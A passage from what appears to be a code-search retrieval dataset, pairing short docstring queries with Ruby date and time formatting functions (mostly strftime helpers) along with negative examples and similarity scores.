"def date_str\n if self.jd.nil?\n return \"\"\n else\n Date.jd(self.jd).strftime(\"%B %d, %Y\")\n end\n end",
"def strf_standard(datetime, length)\n\t\tif length == 'short'\n\t\t\treturn datetime.strftime('%a %k:%M%P - %b %-d')\n\t\tend\n\tend",
"def fmt_miltime(t)\n if t.present?\n ApplicationHelper.localtime(t).strftime(ApplicationHelper.time_fmt)\n end\n end",
"def nice_time\n Time.at(time).utc.strftime('%-M:%Ss')\n end",
"def fmt_date(dt)\n if dt.present?\n dt.strftime(ApplicationHelper.date_fmt)\n end\n end",
"def build_time\n time = Time.now\n \"#{time.month}-#{time.day}-#{time.year}\"\n end",
"def date_to_str(t, convert = true)\n return '' if t == nil\n if convert\n gm_to_local(t).strftime(\"%m\").to_i.to_s + '/' + gm_to_local(t).strftime(\"%d\").to_i.to_s + gm_to_local(t).strftime(\"/%Y\")\n else\n t.strftime(\"%m\").to_i.to_s + '/' + t.strftime(\"%d\").to_i.to_s + t.strftime(\"/%Y\")\n end\n end",
"def timelong( time )\n time.strftime('%Y-%m-%d %H:%M:%S') if time\n end",
"def iso_format(time)\n time.getutc.strftime('%Y-%m-%dT%H:%M:%SZ')\n end",
"def format_parameter(parameter)\n parameter.instance_of?(Time) ? iso_format(parameter) : parameter.to_s\n end",
"def dby_date(date)\n result = \"\"\n if date != nil\n result = date.strftime(\"%d %b %Y %H:%M\")\n end\n result\n end",
"def date_short(date)\n\t\tdate.strftime(\"%b %e, %Y\") if !date.blank?\n\tend",
"def nice_time(time)\n time = time.to_i\n return \"\" if time == 0\n t = \"\"\n h = time / 3600\n m = (time - (3600 * h)) / 60\n s = time - (3600 * h) - (60 * m)\n t = good_date(h) + \":\" + good_date(m) + \":\" + good_date(s)\n end",
"def time( time = birth )\n # Check to be sure time is a valid Time object\n raise RuntimeError, 'Invalid Time' unless time.instance_of? Time\n\n show_day = time.strftime( '%a' )\n show_time = '2000' # Defaults to 8PM\n\n # Friday is a 9:00 PM show\n show_time = '2100' if time.wday == 5\n\n # Saturday after 10 PM file creation is 10:30 PM show\n if ( time.wday == 6 && time.hour >= 22 ) || ( time.wday == 0 && time.hour <= 2 )\n show_day = 'Sat'\n show_time = '2230'\n end\n\n # Return the day-time string\n show_day + '-' + show_time\n end",
"def nice_date_form(the_date)\n \treturn the_date ? the_date.strftime('%b %d, %Y') : ''\n\tend",
"def getDateString(d)\n return d.strftime('%Y-%-m-%-d')\nend",
"def nice_time(time)\n time = time.to_i\n return \"\" if time == 0\n h = time / 3600\n m = (time - (3600 * h)) / 60\n s = time - (3600 * h) - (60 * m)\n good_date(h) + \":\" + good_date(m) + \":\" + good_date(s)\n end",
"def formated_release_date_for(game)\n return \"\" if game.nil?\n formated_date(game.date)\n end",
"def display_time_for_appointment\n date.strftime(\"%I:%M:%S %p, %B #{date.day.ordinalize}, %Y\")\n end",
"def race_at_display\n \"#{try(:year)}-#{try(:month)}-#{try(:day)} #{post_time}\".to_s\n end",
"def format_date(date)\n if date.nil?\n return \"\"\n end\n if date.year == Date.today.year\n return date.strftime(\"%A, %B %-d\") unless date.nil?\n else\n return date.strftime(\"%A, %B %-d %Y\") unless date.nil?\n end\n end",
"def to_s\n @date_time\n end",
"def get_date_schedule\n unless date_schedule.blank?\n Format.a_short_datetime( date_schedule )\n else\n ''\n end\n end",
"def time_transformer(time)\n if time < 10\n \"0\" + time.to_s\n else\n time.to_s\n end\nend",
"def start_date_us_format\n start_date.nil? ? nil : start_date.strftime(\"%m/%d/%Y\") \n end",
"def livia_date(d)\n unless d.nil?\n d.to_time.strftime(\"%m/%d/%Y\") # %H:%M\") no need to show time as it comes 00:00 always. Mandeep\n else\n '-'\n end\n end",
"def date_and_time(options = {})\n @time.is_a?(Time) ? \"#{date(options)} at #{time(options)}\" : date(options = {})\n end",
"def to_s\n \"#{year}-#{month.to_s.rjust(2, '0')}\"\n end",
"def mdy_or_nil(date)\n\t\t( date.blank? or !date.respond_to?(:strftime) ) ? nil : date.strftime(\"%m/%d/%Y\")\n\tend",
"def end_time_string\n\t\tend_time.to_s(:time) if end_time\n\tend",
"def date_time_format(date_time, format = :date_time)\n format = FORMATS[format]\n date_time.strftime(format)\n end",
"def day_format(date)\n return nil if date.blank?\n date.strftime('%d')\n end",
"def day_format(date)\n return nil if date.blank?\n date.strftime('%d')\n end",
"def humanize_time(time)\n humanize_date(time.to_date) + (time.to_date.cweek == Date.today.cweek ? \" at \" + time.strftime(\"%l:%M %p\") : \"\")\n end"
] | [
"0.7030388",
"0.6770661",
"0.66752595",
"0.6617918",
"0.64254403",
"0.64056027",
"0.6382072",
"0.63234895",
"0.6312686",
"0.6301572",
"0.6275509",
"0.6275509",
"0.62578034",
"0.6238357",
"0.6238357",
"0.6238357",
"0.6215649",
"0.6201892",
"0.6201892",
"0.6187873",
"0.61768377",
"0.61711085",
"0.6169016",
"0.6125676",
"0.61251736",
"0.6110508",
"0.6100301",
"0.6089913",
"0.6077994",
"0.6053529",
"0.60535",
"0.60451627",
"0.6037409",
"0.6035289",
"0.60331154",
"0.60288745",
"0.6023323",
"0.5986339",
"0.59782094",
"0.5971292",
"0.5958166",
"0.5946336",
"0.59421957",
"0.5942166",
"0.5930817",
"0.59122473",
"0.58846426",
"0.58836883",
"0.58670104",
"0.586699",
"0.58549523",
"0.5854199",
"0.58433014",
"0.5842959",
"0.5835266",
"0.58135825",
"0.58114725",
"0.5809794",
"0.57988197",
"0.5795455",
"0.5792363",
"0.5789423",
"0.5785289",
"0.57673836",
"0.57669204",
"0.57617694",
"0.57586193",
"0.5753066",
"0.5752125",
"0.5748536",
"0.5743277",
"0.573606",
"0.57351196",
"0.5735094",
"0.5716399",
"0.57037294",
"0.57013696",
"0.5690855",
"0.56883234",
"0.5687676",
"0.56834984",
"0.5680407",
"0.56795305",
"0.5677043",
"0.56766826",
"0.56765825",
"0.5675334",
"0.56739444",
"0.5664669",
"0.56632394",
"0.56620955",
"0.5652831",
"0.5647289",
"0.5644019",
"0.5639758",
"0.5639242",
"0.563711",
"0.5625779",
"0.5621608",
"0.5621608",
"0.561743"
] | 0.0 | -1 |
Takes a Time object or nil, and returns a Strong in "monthname day, year" format or "unspecified" for nil. | def printHTMLDateLong(tobj)
return alStrftime(tobj,'%B %d, %Y')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def dateshort( time )\n time.strftime('%Y-%m-%d') if time\n end",
"def short_time\n \ttime.strftime \"%b %-d\"\n end",
"def pretty_date(time)\n time.strftime(\"%B %d, %Y\")\n end",
"def pretty_date(time)\n time.strftime(\"%B %d, %Y\")\n end",
"def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end",
"def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end",
"def nytimes_time(time, opts={})\n raise ArgumentError.new \"Time or DateTime required\" unless time.is_a?(DateTime) || time.is_a?(Time)\n str = \"\"\n str << time.strftime(\"%l:%M\").strip\n str << time.strftime(\" %p\").sub('PM','p.m.').sub('AM','a.m.') unless opts[:hide_abbreviation]\n str\n end",
"def make_date(time_object)\n month = time_object.strftime(\"%b \")\n day = time_object.strftime(\"%-d\")\n year = time_object.strftime(\", %Y \")\n mins = time_object.strftime(\":%M %P\")\n hour = time_object.strftime(\"%l\").to_i\n return month + day + year + hour.to_s + mins\n end",
"def lsish\n strftime \"%e. %b \" + (year == Time.start.year ? \"%H:%M:%S\" : \"%Y \")\n end",
"def fmt_time(t)\n if t.present?\n ApplicationHelper.localtime(t).strftime(ApplicationHelper.gen_time_fmt)\n end\n end",
"def build_time\n time = Time.now\n \"#{time.month}-#{time.day}-#{time.year}\"\n end",
"def name_of_month(style = :full)\n @time.strftime(style == :full ? \"%B\" : \"%b\")\n end",
"def human_str(args = {})\n args = {\n :time => true,\n :number_endings => {\n 0 => \"th\",\n 1 => \"st\",\n 2 => \"nd\",\n 3 => \"rd\",\n 4 => \"th\",\n 5 => \"th\",\n 6 => \"th\",\n 7 => \"th\",\n 8 => \"th\",\n 9 => \"th\"\n }\n }.merge(args)\n \n now = Time.now\n \n #Generate normal string.\n date_str = \"\"\n \n if now.day != @t_day and now.month == @t_month and now.year == @t_year\n last_digit = @t_day.to_s[-1, 1].to_i\n \n if ending = args[:number_endings][last_digit]\n #ignore.\n else\n ending = \".\"\n end\n \n date_str << \"#{@t_day}#{ending} \"\n elsif now.day != @t_day or now.month != @t_month or now.year != @t_year\n date_str << \"#{@t_day}/#{@t_month} \"\n end\n \n if now.year != @t_year\n date_str << \"#{@t_year} \"\n end\n \n if args[:time]\n date_str << \"#{@t_hour}:#{\"%02d\" % @t_min}\"\n end\n \n return date_str\n end",
"def strftime(format, time = T.unsafe(nil)); end",
"def to_s\n \"#{@month}/#{@day}/#{@year}\"\n end",
"def fmt_miltime(t)\n if t.present?\n ApplicationHelper.localtime(t).strftime(ApplicationHelper.time_fmt)\n end\n end",
"def moment_date( time )\n\t\ttime = time .to_time\n\t\t\"#{ time .year }.#{ time .month }.#{ time .day }\"\n\tend",
"def format_time(time)\n part = time.strftime(@time_pattern)\n\n if(!GRUtil.is_empty?(part))\n part\n else\n \"\"\n end\n end",
"def name_of_day(style = :full)\n @time.strftime(style == :full ? \"%A\" : \"%a\")\n end",
"def to_s\n \"#{year}-#{month.to_s.rjust(2, '0')}\"\n end",
"def to_s\n # TODO this breaks the minus spec: strftime\n format \"#{year}-%02d-%02d\", month, day\n end",
"def to_s\n return \"#{\"%04d\" % @t_year}-#{\"%02d\" % @t_month}-#{\"%02d\" % @t_day} #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec}\"\n end",
"def dob_string\n unless self[:feed_birth_time].blank?\n year = self[:feed_birth_time].year\n return case self[:feed_birth_time_pref]\n when 'y':\n year.to_s\n when 'md':\n self[:feed_birth_time].to_time.strftime(\"%d-%b\")\n when 'ymd':\n self['feed_birth_time'].to_time.strftime(\"%d-%b-%Y\")\n end\n end\n return ''\n end",
"def to_string\n return @year.to_s + \" \" + @month.to_s + \" \" + @day.to_s\n end",
"def as_time( d = nil )\n d = (d || self)\n return '' unless [Time, DateTime].include? d.class\n format = 'time_short'\n I18n.l d, :format => I18n.t( 'time.formats.' + format )\n end",
"def time(options = {})\n if @time.is_a?(Time)\n @time.strftime(\"%l#{@time.min > 0 ? \":%M\" : ''}%P\").strip\n else\n nil\n end\n end",
"def format_time(time)\n return time.strftime(\"%l:%M%p\")\n end",
"def strf_standard(datetime, length)\n\t\tif length == 'short'\n\t\t\treturn datetime.strftime('%a %k:%M%P - %b %-d')\n\t\tend\n\tend",
"def fix_time(time=nil)\n if time == nil\n # no full time, use current\n hh, mn, ss = Time.now.strftime(\"%H:%M:%S\").split(':')\n elsif time.size == 3\n # we got full time\n hh = time[0].rjust(2,'0')\n mn = time[1].rjust(2,'0')\n ss = time[2].rjust(2,'0')\n elsif time.size == 2\n # we got full time minus seconds\n hh = time[0].rjust(2,'0')\n mn = time[1].rjust(2,'0')\n ss = Time.now.strftime(\"%S\")\n end\n return hh, mn, ss\n end",
"def mdy_or_nil(datetime)\n\t\tdatetime.strftime(\"%m/%d/%Y\") unless datetime.blank?\n\tend",
"def tt(time, format=:short); '13:37'; end",
"def time\n\t\tI18n.l(moment, format: :time_only)\n\tend",
"def get_key_for(time)\n \"#{time.year}/#{time.month}/#{time.day}/#{time.hour}\"\n end",
"def show_date_format(time)\n unless time.blank?\n time.strftime(\"%Y年%m月%d日\") rescue '--'\n end\n end",
"def localize_time_of_day(time)\n if time.nil?\n return I18n.localize(DateTime.new)\n .remove('01/01/-4712')\n .strip\n .gsub(/\\d/, '_')\n end\n\n I18n.localize(time)\n .remove('01/01/2000')\n .strip\n end",
"def formatTime( time )\n hours = 0\n minutes = 0\n time[/(\\d+):(\\d+)/]\n hours = $1.to_i\n minutes = $2.to_i\n if time.include? \"PM\"\n if( hours!=12 )\n hours += 12\n end \n end \n if time.include? \"AM\"\n if (hours == 12)\n hours = 0\n end\n end\n # The year, month and day are irrelevant. \n return Time.local( 1, 1, 1, hours, minutes, 0)\n end",
"def date\n \"#{day} #{month.capitalize} #{year}\"\n end",
"def to_s\n if year == 0 and mon == 0 and day == 0\n h = neg ? hour * -1 : hour\n sprintf \"%02d:%02d:%02d\", h, min, sec\n else\n sprintf \"%04d-%02d-%02d %02d:%02d:%02d\", year, mon, day, hour, min, sec\n end\n end",
"def timelong( time )\n time.strftime('%Y-%m-%d %H:%M:%S') if time\n end",
"def timeformat_change(time)\n from_format = time.to_s.split(\" \")\n from_format = \"#{from_format[0]} #{from_format[1]}\"\n return from_format\n end",
"def partial_date_string(year, month, day)\n if !day.nil?\n \"on #{Date::MONTHNAMES[month]}, #{day} of #{year}\"\n elsif !month.nil?\n \"in #{Date::MONTHNAMES[month]} of #{year}\"\n else\n \"in #{year}\"\n end\n end",
"def get_timestamp(time)\n time.to_i.to_s.ljust 13, '0'\n end",
"def timekey_to_timeformat(timekey)\n case timekey\n when nil then ''\n when 0...60 then '%Y%m%d%H%M%S' # 60 exclusive\n when 60...3600 then '%Y%m%d%H%M'\n when 3600...86400 then '%Y%m%d%H'\n else '%Y%m%d'\n end\n end",
"def get_current_semester\n time = Time.new\n if time.month >= 3 && time.month < 10\n time.year.to_s + '08'\n else\n (time.year + 1).to_s + '01'\n end\n end",
"def adjust_to_noon (time)\n\tnew_time = Time.new(time.year, time.month, time.day) \n\treturn new_time\nend",
"def time_s\n time_to_s(time)\n end",
"def nice_time(time)\n time = time.to_i\n return \"\" if time == 0\n t = \"\"\n h = time / 3600\n m = (time - (3600 * h)) / 60\n s = time - (3600 * h) - (60 * m)\n t = good_date(h) + \":\" + good_date(m) + \":\" + good_date(s)\n end",
"def date_short(date)\n\t\tdate.strftime(\"%b %e, %Y\") if !date.blank?\n\tend",
"def lunar_date(year, month, day)\n l = yang_to_nong(year, month, day)\n l[0].to_s + '-' + l[1].to_s + '-' + (/^\\d+/.match(l[2].to_s)).to_s\n end",
"def date\n return MANUAL_DAY unless MANUAL_DAY.nil?\n time = Time.new\n raise ArgumentError, \"wrong day, dude.\" unless time.day == 5 #fridays\n \"%s/%s\" % [time.month, time.day]\nend",
"def nice_date_form(the_date)\n \treturn the_date ? the_date.strftime('%b %d, %Y') : ''\n\tend",
"def date\n tt = Time.gm(*filename_base.scan(/\\d+/))\n\n def tt.to_s\n to_formatted_s(:short_date_with_year) + \" \" + to_formatted_s(:short_time)\n end\n\n tt\n\tend",
"def header(month, day, year=Time.now.year)\n time = Time.new(year, month, day)\n time.strftime(\"-- %b #{[time.week_start, time.week_end].uniq.join(\"-\")}\\n\")\n end",
"def nice_time(time)\n time = time.to_i\n return \"\" if time == 0\n h = time / 3600\n m = (time - (3600 * h)) / 60\n s = time - (3600 * h) - (60 * m)\n good_date(h) + \":\" + good_date(m) + \":\" + good_date(s)\n end",
"def get_date_month_year\n\t\tif @date_time != nil and @date_time.to_s.strip != \"\"\n\t\t\tdate_time_arr = @date_time.to_s.split\n\t\t\tday_month_year = (date_time_arr[date_time_arr.size - 3] + date_time_arr[date_time_arr.size - 2] + date_time_arr[date_time_arr.size-1]).strip\n\t\t\treturn day_month_year\n\t\telse\n\t\t\treturn \"UNKNOWN\"\n\t\tend\n\tend",
"def time_format(time)\n\t if time\n\t time.strftime(\"%d/%m/%Y %H:%M\")\n\t end\n\tend",
"def preset_value(time)\n time.strftime('%d/%m/%Y') unless time.nil?\n end",
"def from_time(options = {})\n t = range(options).first.strftime(\"%T\")\n return nil if t == \"00:00:00\"\t\n t\n end",
"def get_date_time_for_display(date_time_value)\n formatted_date = \"\"\n if(date_time_value != nil)\n d = DateTime.parse(date_time_value)\n formatted_date = d.strftime(\"%Y\")\n end\n return formatted_date\n end",
"def livia_time(d)\n unless d.nil?\n d.to_time.strftime(\"%H:%M\")\n else\n ''\n end\n end",
"def approach_time_format\n \"%b %e, %Y %l:%M%p\"\n end",
"def proper_time(time)\n\tTime.at(time).gmtime.strftime('%R:%S')\nend",
"def date_and_time_for_tag(time_class = (Time.respond_to?(:zone) ? Time.zone : Time))\n time = time_class.now\n time.strftime \"%Y#{MONTHS[time.month - 1]}%d-%H%M\"\n end",
"def timestamp \n\ttime = Time.new\n\t\"#{time.day}/#{time.month}/#{time.year}\"\nend",
"def reset_date_for_time time\n string_as_t time_as_s time\n end",
"def display_datetime(time)\n time.strftime('%e %B, %l:%M%p')\n end",
"def number_to_short_month_name(short)\n if short == 1\n return \"Jan\"\n elsif short == 4\n return \"Apr\"\n else short == 10\n return \"Oct\"\n end\nend",
"def time( time = birth )\n # Check to be sure time is a valid Time object\n raise RuntimeError, 'Invalid Time' unless time.instance_of? Time\n\n show_day = time.strftime( '%a' )\n show_time = '2000' # Defaults to 8PM\n\n # Friday is a 9:00 PM show\n show_time = '2100' if time.wday == 5\n\n # Saturday after 10 PM file creation is 10:30 PM show\n if ( time.wday == 6 && time.hour >= 22 ) || ( time.wday == 0 && time.hour <= 2 )\n show_day = 'Sat'\n show_time = '2230'\n end\n\n # Return the day-time string\n show_day + '-' + show_time\n end",
"def format_date_nicely(date)\n\tn = Time.new(2013, 10, 31)\n\tn.strftime(\"%d/%m/%Y\")\nend",
"def humanize_time(time)\n humanize_date(time.to_date) + (time.to_date.cweek == Date.today.cweek ? \" at \" + time.strftime(\"%l:%M %p\") : \"\")\n end",
"def time_format\n return :time12 if new_us_user?\n\n clock_type == '12h' ? :time12 : :time24\n end",
"def to_s\n\t\tMonth.month_names[@month-1][0..2] + \" \" + @year.to_s\n\tend",
"def time_convert(twelve)\n\tif twelve[8..9] == \"PM\" then\n \tif twelve[0..1] == \"12\" then \n \ttwentyfour = twelve[0..7]\n \telse\n \ttwentyfour = (twelve[0..1].to_i + 12).to_s + twelve[2..7]\n \tend\n\telse\n \tif twelve[0..1] == \"12\" then \n \ttwentyfour = \"00\" + twelve[2..7]\n \telse\n \ttwentyfour = twelve[0..7]\n \tend\n\tend\n\ttwentyfour\nend",
"def mon\n if @time\n @time.mon\n elsif @datetime\n @datetime.mon\n else\n to_time.mon\n end\n end",
"def mon\n if @time\n @time.mon\n elsif @datetime\n @datetime.mon\n else\n to_time.mon\n end\n end",
"def mon\n if @time\n @time.mon\n elsif @datetime\n @datetime.mon\n else\n to_time.mon\n end\n end",
"def fmt_time(dt) _format_dt dt, H12_M_PM end",
"def format_time(time)\n first_colon = time.index(':')\n if first_colon.nil? \n #if it's not a time\n return time\n end\n second_colon = time.index(':', first_colon + 1)\n result = time[0, first_colon]\n if result.length < 2\n result = \"0#{result}\"\n end\n if second_colon.nil?\n second_colon = time.length\n end\n result += time[first_colon, second_colon - first_colon]\n return result\nend",
"def format_time\n hours = format_hour @hour\n minutes = format_minute @minutes\n ampm = @hour < 12 ? @@ampm_hash['a'] : @@ampm_hash['p']\n time = ''\n time += hours[0] + minutes[0] + ' ' + ampm[0] + \"\\n\"\n time += hours[1] + minutes[1] + ' ' + ampm[1] + \"\\n\"\n time += hours[2] + minutes[2] + ' ' + ampm[2] + \"\\n\"\n time\n end",
"def mdyhm_or_nil(datetime)\n\t\tdatetime.strftime(\"%m/%d/%Y %H:%M (%Z)\") unless datetime.blank?\n\tend",
"def time_for_string(time)\n time = time.scan(/\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}/)[0].sub(' ','T')\n Time.xmlschema(time)\n end",
"def get_yyyymmdd_hhnnss(s)\n return s.gsub('T', ' ').gsub('Z', '')\n end",
"def time_id(time)\n time.strftime(\"%Y%m%d\")\n end",
"def display_time(timestamp)\n return nil if timestamp.blank?\n timestamp.to_s(:date_time_long)\n end",
"def to_time(t=nil)\n t ||=Time.now\n Time.new(t.year,t.month,t.day,@hours,@minutes,0)\n end",
"def get_datetime_string(t)\n return t.strftime('%b %d, %Y %I:%M %p')\n end",
"def china_time(time)\n wday=[\"天\",\"一\",\"二\",\"三\",\"四\",\"五\",\"六\"]\n time.year.to_s+'年'+time.month.to_s+\"月\"+time.day.to_s+\"日\"+\" \"+ \n time.hour.to_s+\"点\"+ time.min.to_s+\"分\"+time.sec.to_s+\"秒\"+\n \" 星期\"+ wday[time.wday]\nend",
"def month_format(date)\n return nil if date.blank?\n date.strftime('%b')\n end",
"def month_format(date)\n return nil if date.blank?\n date.strftime('%b')\n end",
"def time_to_str(dt)\r\n ret = nil\r\n if dt.nil?\r\n ret = \"\"\r\n else\r\n ret = dt.iso8601\r\n ret[10..-1] = \"Z\" if self.allday # yyyy-mm-ddZ\r\n end\r\n ret\r\n end",
"def number_to_full_month_name(month)\n case month\n when 1\n month = \"January\"\n when 2\n month = \"February\"\n when 3\n month = \"March\"\n when 4\n month = \"April\"\n when 5\n month = \"May\"\n when 6\n month = \"June\"\n when 7\n month = \"July\"\n when 8\n month = \"August\"\n when 9\n month = \"September\"\n when 10\n month = \"October\"\n when 11\n month = \"November\"\n when 12\n month = \"December\"\n end\nreturn month\nend",
"def strftime(time, pattern)\n time.present? ? time.strftime(send pattern) : nil\n end",
"def time_abbr(time = Time.now, options = {:date_only => false})\n format = \"%B %d, %Y\"\n format += \" - %I:%M:%S %p\" unless options[:date_only]\n tag = '<abbr '\n tag += \"title='#{time.httpdate}'>\"\n tag += time.strftime(format)\n tag += '</abbr>'\n return tag\n end",
"def strftime_to_ms_format numberformat\n return nil if numberformat.nil?\n numberformat.gsub(\"%Y\", \"yyyy\").gsub(\"%A\", \"dddd\").gsub(\"%B\", \"mmmm\").gsub(\"%a\", \"ddd\").gsub(\"%b\", \"mmm\").gsub(\"%y\", \"yy\").gsub(\"%d\", \"dd\").gsub(\"%m\", \"mm\").gsub(\"%y\", \"y\").gsub(\"%y\", \"%%y\").gsub(\"%e\", \"d\")\n end",
"def w; cat @time.strftime('%w') end",
"def dbstr(args = nil)\n str = \"#{\"%04d\" % @t_year}-#{\"%02d\" % @t_month}-#{\"%02d\" % @t_day}\"\n \n if !args or (!args.key?(:time) or args[:time])\n str << \" #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec}\"\n end\n \n return str\n end",
"def to_s\n txt = name\n txt += \" (#{self.year})\" if self.year && self.year > 0\n return txt\n end",
"def livia_date_time(d)\n unless d.nil?\n d.to_time.strftime(\"%m/%d/%Y %H:%M\")\n else\n ''\n end\n end",
"def format_time(time)\n hour = time.hour\n min = time.min\n if min >= 30\n hour += 1\n min = 0\n else\n min = 30\n end\n\n d = Time.now\n Time.new(d.year,d.month,d.day,hour,min,0)\n\n end",
"def fancy_date(date)\n h date.strftime(\"%A, %B %d, %Y\")\n end",
"def describe\n if twilight?\n \"[#{time.capitalize}], day #{day_number}\"\n else\n \"#{time.capitalize}time (day #{day_number})\"\n end\n end"
] | [
"0.6062872",
"0.59992146",
"0.599244",
"0.599244",
"0.59637845",
"0.59637845",
"0.58694",
"0.58259994",
"0.57849205",
"0.57384616",
"0.56223816",
"0.5594916",
"0.5577839",
"0.55600923",
"0.5559729",
"0.5559497",
"0.5494544",
"0.54836494",
"0.5475932",
"0.5434538",
"0.54333174",
"0.5406543",
"0.5401834",
"0.5385418",
"0.53785336",
"0.5364731",
"0.5333002",
"0.53108126",
"0.53092366",
"0.5306285",
"0.5306107",
"0.53003025",
"0.5285218",
"0.5272535",
"0.5267493",
"0.5267357",
"0.5267039",
"0.52436423",
"0.52414674",
"0.5231404",
"0.5226497",
"0.5225272",
"0.51761925",
"0.51748824",
"0.5170977",
"0.51627535",
"0.51588345",
"0.51536596",
"0.5150171",
"0.5130399",
"0.5130331",
"0.5125148",
"0.5113347",
"0.5112733",
"0.5110503",
"0.51059186",
"0.5105581",
"0.5105425",
"0.5101544",
"0.5093915",
"0.5081499",
"0.5080476",
"0.5079717",
"0.507604",
"0.5066372",
"0.50596434",
"0.5057735",
"0.5053065",
"0.5041029",
"0.5039647",
"0.5039565",
"0.50365216",
"0.5036013",
"0.50358945",
"0.50358945",
"0.50358945",
"0.50348675",
"0.50263745",
"0.50197005",
"0.50110024",
"0.499695",
"0.49934798",
"0.4993162",
"0.49921128",
"0.4991905",
"0.4990175",
"0.4985096",
"0.49743927",
"0.49743927",
"0.497397",
"0.49728817",
"0.49727005",
"0.49722767",
"0.49708894",
"0.49699402",
"0.4968654",
"0.49657914",
"0.49626246",
"0.49542046",
"0.4947732",
"0.4943045"
] | 0.0 | -1 |
Seems there's a but in Ruby strftime | def alStrftime(tobj, str)
return "unspecified" unless tobj
return tobj.strftime(str)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strftime(p0) end",
"def strftime(*args)\n #This is a stub, used for indexing\n end",
"def strftime(arg0, arg1, *rest)\n end",
"def strftime(format, time = T.unsafe(nil)); end",
"def strftime(format)\n return LIBC.new.c_strftime(format, @vals)\n end",
"def lsish\n strftime \"%e. %b \" + (year == Time.start.year ? \"%H:%M:%S\" : \"%Y \")\n end",
"def strftime(fmt)\n h = to_h\n hx = {\n 'y' => h[:years] ,\n 'w' => h[:weeks] ,\n 'd' => h[:days] ,\n 'h' => h[:hours] ,\n 'm' => h[:minutes],\n 's' => h[:seconds],\n 't' => total,\n 'x' => to_s\n }\n fmt.gsub(/%?%(w|d|h|m|s|t|x)/) do |match|\n hx[match[1..1]]\n end.gsub('%%', '%')\n end",
"def strftime(time, pattern)\n time.present? ? time.strftime(send pattern) : nil\n end",
"def strftime(date)\n tmpdate=date.dup\n LocalizationSimplified::localize_strftime(tmpdate, self)\n old_strftime(tmpdate)\n end",
"def readable_inspect\n strftime('%a, %d %b %Y')\n end",
"def strftime!(format, zone = 'local')\n\t\t# Change the zone and output the time\n\t\tself.zone!(zone).strftime(format)\n\tend",
"def strftime_with_ordinal(date_time, format_string)\n ordinal = case date_time.day\n when 1, 21, 31 then \"st\"\n when 2, 22 then \"nd\"\n when 3, 23 then \"rd\"\n else \"th\"\n end\n\n date_time.strftime(format_string.gsub(\"%o\", ordinal))\n end",
"def ltf\n strftime(LOG_TIME_FORMAT)\n end",
"def ltf\n strftime(LOG_TIME_FORMAT)\n end",
"def local_strftime(string)\n @time.getlocal.strftime(string)\n end",
"def stamp(format = nil)\n unless String === format\n format = FORMAT[format]\n end\n strftime(format).strip\n end",
"def strftime(str)\n replaces = {}\n res = \"#{str}\"\n \n str.scan(/(%%|%(\\^|)([A-z]))/) do |match|\n #The does the functionality of actually having a '%' in the string.\n if match[0] == \"%%\"\n replaces[\"%%\"] = \"%\"\n next\n end\n \n #Set up replace-hash for later replace.\n bigsign = match[1]\n letter = match[2]\n \n le = \"%#{bigsign}#{letter}\"\n \n #Skip if letter has already been set.\n next if replaces.key?(le)\n \n case letter\n when \"Y\"\n replaces[le] = @t_year\n when \"m\"\n replaces[le] = \"%02d\" % @t_month\n when \"d\"\n replaces[le] = \"%02d\" % @t_day\n when \"e\"\n replaces[le] = @t_day\n when \"H\"\n replaces[le] = \"%02d\" % @t_hour\n when \"k\"\n replaces[le] = @t_hour\n when \"l\"\n replaces[le] = self.hour_thc\n when \"I\"\n replaces[le] = \"%02d\" % self.hour_thc\n when \"M\"\n replaces[le] = \"%02d\" % @t_min\n when \"S\"\n replaces[le] = \"%02d\" % @t_sec\n when \"T\"\n replaces[le] = \"#{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec}\"\n when \"R\"\n replaces[le] = \"#{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}\"\n when \"r\"\n replaces[le] = \"#{\"%02d\" % self.hour_thc}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec} #{self.ampm.upcase}\"\n when \"B\"\n replaces[le] = self.month_name\n when \"b\", \"h\"\n replaces[le] = self.month_name[0, 3]\n when \"j\"\n replaces[le] = self.day_of_year\n when \"A\"\n replaces[le] = self.day_name\n when \"a\"\n replaces[le] = self.day_name[0, 3]\n when \"w\"\n replaces[le] = self.day_in_week\n when \"u\"\n replaces[le] = self.day_in_week(:mfirst => true) + 1\n when \"s\"\n replaces[le] = self.to_i\n when \"p\"\n replaces[le] = self.ampm.upcase\n when \"P\"\n replaces[le] = self.ampm\n when \"V\"\n replaces[le] = self.week_no\n when \"W\"\n replaces[le] = self.week_no(:mfirst => true)\n end\n \n #Replace should be uppercase.\n if bigsign == \"^\" and replaces.key?(le)\n replaces[le] = replaces[le].to_s.upcase\n end\n end\n \n #Do the actual replaces.\n replaces.each do |key, val|\n res = res.gsub(key, val.to_s)\n end\n \n #Return the replaced string.\n return res\n end",
"def custom_time (*arg)\n\tresult = \"\"\n\targ.each do |value|\n\t\tif(value == :day_of_week)\n\t\t\tresult += \"%A, \"\n\t\telsif(value == :month)\n\t\t\tresult += \"%B \"\n\t\telsif(value == :day)\n\t\t\tresult += \"%d, \"\n\t\telsif(value == :year)\n\t\t\tresult += \"%Y \"\n\t\telsif(value == :time)\n\t\t\tresult += \"at %I:%M%p\" \n\t\tend\n\tend\n\tt = Time.now\n\tt.strftime(result)\nend",
"def ltf\n strftime(LOG_TIME_FORMAT)\n end",
"def W; cat @time.strftime('%W') end",
"def strftime_to_ms_format numberformat\n return nil if numberformat.nil?\n numberformat.gsub(\"%Y\", \"yyyy\").gsub(\"%A\", \"dddd\").gsub(\"%B\", \"mmmm\").gsub(\"%a\", \"ddd\").gsub(\"%b\", \"mmm\").gsub(\"%y\", \"yy\").gsub(\"%d\", \"dd\").gsub(\"%m\", \"mm\").gsub(\"%y\", \"y\").gsub(\"%y\", \"%%y\").gsub(\"%e\", \"d\")\n end",
"def x; cat @time.strftime('%x') end",
"def format_date_nicely(date)\nend",
